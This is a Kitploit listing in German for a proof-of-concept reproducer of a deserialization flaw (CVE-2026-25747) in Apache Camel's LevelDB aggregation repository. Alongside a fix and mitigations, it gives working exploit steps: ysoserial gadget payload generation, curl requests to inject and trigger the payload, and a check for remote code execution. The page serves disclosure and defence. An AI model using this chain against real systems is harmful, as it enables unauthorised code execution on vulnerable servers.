Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-25747 — CVE-2026-25747 - Camel LevelDB Deserialization Vulnerability | Kitploit
Tools/GitHubGitHub/oscerd/cve-2026-25747
Vulnerability AnalysisCode AnalysisExploitationWeb SecurityPenetration TestingLearning & Education
GitHuboscerd/cve-2026-25747

CVE-2026-25747

CVE-2026-25747 - Camel LevelDB Deserialization Vulnerability

Repository anzeigen
vor 6 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

Reproducer für die LevelDB-Deserialisierungsschwachstelle

Dieses Projekt demonstriert eine Java-Deserialisierungsschwachstelle im Apache-Camel-LevelDB-Aggregations-Repository, ähnlich zu CVE-2024-23114 (die das Cassandra-Aggregations-Repository betraf).

Zusammenfassung der Schwachstelle

EigenschaftWert
Komponentecamel-leveldb
Betroffene KlasseDefaultLevelDBSerializer.java
Verwundbare MethodendeserializeKey(), deserializeExchange()
CWECWE-502: Deserialisierung nicht vertrauenswürdiger Daten
AuswirkungRemote Code Execution (RCE)
Betroffene VersionenAlle Versionen einschließlich 4.17.0 (zum Testzeitpunkt ungefixt)

Technische Details

Die Klasse DefaultLevelDBSerializer verwendet rohes ObjectInputStream ohne jegliche Filterung:

root@kitploit:~
// DefaultLevelDBSerializer.java lines 42-47
public String deserializeKey(byte[] buffer) throws IOException {
    try (final ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(buffer))) {
        return (String) ois.readObject();  // NO FILTERING!
    }
}

// Lines 63-71
public Exchange deserializeExchange(CamelContext camelContext, byte[] buffer) throws IOException {
    return deserializeExchange(camelContext, buffer, b -> {
        try (final ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(buffer))) {
            return (DefaultExchangeHolder) ois.readObject();  // NO FILTERING!
        }
    });
}

Vergleichen Sie dies mit der gefixten Cassandra-Implementierung (seit Camel 4.4.0):

root@kitploit:~
// CassandraCamelCodec.java - PROTECTED
private Object deserialize(CamelContext camelContext, InputStream bytes, String deserializationFilter) {
    ObjectInputStream objectIn = new ClassLoadingAwareObjectInputStream(classLoader, bytes);
    objectIn.setObjectInputFilter(ObjectInputFilter.Config.createFilter(deserializationFilter));
    // Filter: "java.**;org.apache.camel.**;!*" - blocks gadget classes
    return objectIn.readObject();
}

Voraussetzungen

  • Java 17+
  • Maven 3.8+
  • ysoserial (für die Payload-Erzeugung)

Reproduktionsschritte

Schritt 1: Anwendung bauen und starten

root@kitploit:~
cd potential-leveldb
mvn clean package -DskipTests
mvn spring-boot:run

Schritt 2: LevelDB-Datenbank initialisieren

root@kitploit:~
# First, initialize the LevelDB database (creates directory and adds a test entry)
curl http://localhost:8080/exploit/init

Erwartete Ausgabe:

root@kitploit:~
LevelDB initialized successfully!
Database path: /tmp/leveldb-exploit/aggregation.db
Repository name: myrepo
Added test exchange with key: test-key

Now you can inject a malicious payload with POST /exploit/inject

Schritt 3: Böswillige Payload erzeugen

Laden Sie ysoserial herunter und erzeugen Sie eine Payload:

root@kitploit:~
# Download ysoserial
wget https://github.com/frohoff/ysoserial/releases/download/v0.0.6/ysoserial-all.jar

# Generate payload that executes a command (e.g., open calculator, touch file, etc.)
# For Linux:
java -jar ysoserial-all.jar CommonsCollections7 "touch /tmp/pwned" | xxd -p | tr -d '\n' > payload.txt

# For macOS:
java -jar ysoserial-all.jar CommonsCollections7 "open -a Calculator" | xxd -p | tr -d '\n' > payload.txt

# For Windows:
java -jar ysoserial-all.jar CommonsCollections7 "calc.exe" | xxd -p | tr -d '\n' > payload.txt

Schritt 4: Payload in LevelDB injizieren

root@kitploit:~
# Inject the malicious serialized object into LevelDB
curl -X POST http://localhost:8080/exploit/inject \
  -H "Content-Type: text/plain" \
  -d @payload.txt

Erwartete Ausgabe:

root@kitploit:~
Malicious payload injected into LevelDB!
Payload size: XXXX bytes
Key: myrepo^@malicious-key

The payload will be deserialized when:
1. The application restarts and recovers aggregations
2. A get() operation is performed on this key
3. The scan/recover mechanism runs

Schritt 5: Deserialisierung auslösen (RCE!)

root@kitploit:~
# Trigger the vulnerability by reading from LevelDB
curl http://localhost:8080/exploit/trigger

Dies iteriert durch alle Schlüssel und ruft repo.get() auf, was die Deserialisierung auslöst!

Schritt 6: Ausnutzung verifizieren

root@kitploit:~
# Check if the command was executed
ls -la /tmp/pwned

Wenn die Datei /tmp/pwned existiert, war der Exploit erfolgreich!

Angriffsvektoren

Die Schwachstelle kann über mehrere Wege ausgelöst werden:

  1. Neustart der Anwendung: Wenn Camel startet, stellt es unvollständige Aggregationen aus LevelDB wieder her
  2. Wiederherstellungsmechanismus: Der periodische Wiederherstellungs-Scan deserialisiert gespeicherte Exchanges
  3. Direkter Zugriff: Jeder get()-Aufruf auf das Repository löst eine Deserialisierung aus

Bedingungen für den Exploit

Für eine erfolgreiche Ausnutzung:

  1. Schreibzugriff auf LevelDB: Der Angreifer muss in die LevelDB-Datenbankdatei schreiben können

    • Gemeinsames Dateisystem
    • Kompromittierter Speicher
    • Eine andere Schwachstelle, die das Schreiben von Dateien ermöglicht
  2. Gadget-Bibliothek im Klassenpfad: Eine Bibliothek mit ausnutzbaren Gadget-Ketten muss vorhanden sein

    • commons-collections:3.2.1 (CommonsCollections1-7-Gadgets)
    • org.springframework:spring-core (Spring-Gadgets)
    • Viele andere (siehe ysoserial)

Vergleich mit CVE-2024-23114

Empfohlener Fix

Wenden Sie denselben Fix wie bei Cassandra an:

  1. Verwenden Sie ClassLoadingAwareObjectInputStream anstelle von rohem ObjectInputStream
  2. Fügen Sie einen konfigurierbaren ObjectInputFilter mit sicheren Standardwerten hinzu
  3. Standardfilter: "java.**;org.apache.camel.**;!*"

Beispiel-Fix für DefaultLevelDBSerializer.java:

root@kitploit:~
private String deserializationFilter = "java.**;org.apache.camel.**;!*";

public Exchange deserializeExchange(CamelContext camelContext, byte[] buffer) throws IOException {
    ClassLoader classLoader = camelContext.getApplicationContextClassLoader();
    try (ObjectInputStream ois = new ClassLoadingAwareObjectInputStream(classLoader,
            new ByteArrayInputStream(buffer))) {
        ois.setObjectInputFilter(ObjectInputFilter.Config.createFilter(deserializationFilter));
        DefaultExchangeHolder holder = (DefaultExchangeHolder) ois.readObject();
        // ... rest of deserialization
    }
}

Schadensbegrenzung

Bis ein Fix veröffentlicht wird:

  1. Dateizugriff einschränken: Stellen Sie sicher, dass LevelDB-Dateien nur von der Camel-Anwendung beschreibbar sind
  2. Gadget-Bibliotheken entfernen: Entfernen oder aktualisieren Sie nach Möglichkeit verwundbare Bibliotheken wie commons-collections 3.x
  3. Alternativen Serializer verwenden: Konfigurieren Sie JacksonLevelDBSerializer anstelle von DefaultLevelDBSerializer
  4. Netzwerksegmentierung: Isolieren Sie Systeme, die LevelDB-Aggregation verwenden

Dateien

root@kitploit:~
potential-leveldb/
├── pom.xml                          # Maven configuration with vulnerable deps
├── README.md                        # This file
└── src/main/java/com/example/
    ├── Application.java             # Spring Boot entry point
    ├── LevelDBRoute.java           # Camel route using LevelDB aggregation
    ├── StringAggregationStrategy.java
    └── ExploitController.java      # REST endpoints for exploitation

Haftungsausschluss

Dieser Reproducer dient ausschließlich der Sicherheitsforschung und autorisierten Tests. Verwenden Sie ihn nicht gegen Systeme ohne ausdrückliche Genehmigung.

Tool herunterladen
AspektCassandra (CVE-2024-23114)LevelDB (Dieses Problem)
StatusIn 4.4.0 gefixtUNGEFIXT in 4.17.0
ObjectInputStreamVerwendet ClassLoadingAwareObjectInputStreamVerwendet rohes ObjectInputStream
Deserialisierungsfilter"java.**;org.apache.camel.**;!*"Keiner
JIRACAMEL-20306Noch nicht eingereicht